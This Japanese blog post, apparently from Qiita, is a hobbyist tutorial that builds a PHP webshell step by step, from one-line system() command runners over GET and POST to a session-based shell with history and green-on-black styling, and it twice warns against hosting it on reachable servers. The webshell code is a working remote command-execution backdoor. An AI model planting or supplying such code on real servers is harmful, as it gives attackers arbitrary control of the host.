LoginSignup
4

More than 3 years have passed since last update.

posted at

updated at

PHPでwebshellを作る

Make IT Advent Calendar 2018 21日目です。

コマンドを実行するPHPプログラムを作ろうと思います。

今回のプログラムを他人がアクセスできるサーバに置くのは危険です。
実行する際は、注意してください。

環境

OS: Windows10
XAMPP: 7.2.7
PHP: 7.2.7
Apache: 2.4.33

とりあえずコマンドを実行できるものを作る

GET

get_webshell.php
<pre><?php system($_GET["cmd"]);?></pre>

system($_GET["cmd"])でGETで受け取ったコマンドを実行し、表示しています。
URLにパラメータを付加し、コマンドを送ります。

dateコマンドの送信

get_webshell (2).png
コマンドを実行できました。

POST

post_webshell.php
<pre><?php system($_POST["cmd"]);?></pre>
<form method="POST"><input autofocus type="text" name="cmd"></form>

テキストフォームを追加し、POSTでコマンドを送信します。

timeコマンドの実行

post_wevshell (2).PNG
こちらも実行できました。

機能追加

このままでは少し分かりづらいので、カレントディレクトリとコマンドの履歴を表示できるようにしてみました。

webshell.php
<?php
session_start();

$rpath1 = [" ./", " .\\"];
$rpath2 = [" ../", " ..\\"];

if ($_POST["cmd"]) {
    $cmd= $_POST["cmd"];
    //相対パスの置き換え
    $cmd = str_replace ($rpath1, " ".trim($_SESSION["path"])."\\", $cmd);
    $cmd = str_replace ($rpath2, " ".trim($_SESSION["path"])."\\..\\", $cmd);
    $cmd = str_replace (":\\\\", ":\\", $cmd);
    if ($_POST["cmd"] === "session_reset") {
        //session_resetと入力することでリセットする
        $_SESSION = [];
    } elseif (preg_match("/^cd\s/i", $_POST["cmd"])) {
        // cd コマンドでカレントディレクトリを更新
        $_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br>";
        $_SESSION["path"] = shell_exec($cmd." & @cd");
    } else {
        $_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br><pre>".htmlspecialchars(mb_convert_encoding(shell_exec($cmd), "UTF-8"), ENT_QUOTES, "UTF-8", true)."</pre>";
    }
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>WebShell</title>
</head>
<body>
    <?php 
        if (empty($_SESSION["history"])) $_SESSION["history"] = "";
        if (empty($_SESSION["path"])) $_SESSION["path"] = shell_exec("@cd");
        echo $_SESSION["history"];    
        echo $_SESSION["path"] 
    ?>
    <form method="POST">
        ><input autofocus type="text" name="cmd">
    </form>
</body>
</html>

セッションを利用し、実行したコマンドとカレントディレクトリを保存しています。

ディレクトリの指定はコマンド中の./../の相対パスを、保存したカレントディレクトリに置き換えることで再現しています。(ディレクトリを指定しないとカレントディレクトリはこのプログラムと同じ階層になる)
webshell.PNG

CSSの追加

せっかくなので見た目も変えます。
<head>内に下記を追加します。

<style>
    *{
        color: #00ff00;
        font-size: 15px;
        font-family: Hack, monospace;
    }
    body{
        background-color: #000000;
    }
    input{
        border: 0px;
        background-color: transparent;
    }
</style>

green_webshell.PNG
かっこよくなりました。

最後に

冒頭でも触れましたが、今回のプログラムを他人がアクセスできるサーバに置くのは危険なため、実行する際は注意してください。


PHP初心者でうまく実装できませんでしたが、最低限の機能をつけられたのは良かったです。
以上、Make IT Advent Calendar 2018 21日目の記事でした。

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
What you can do with signing up
4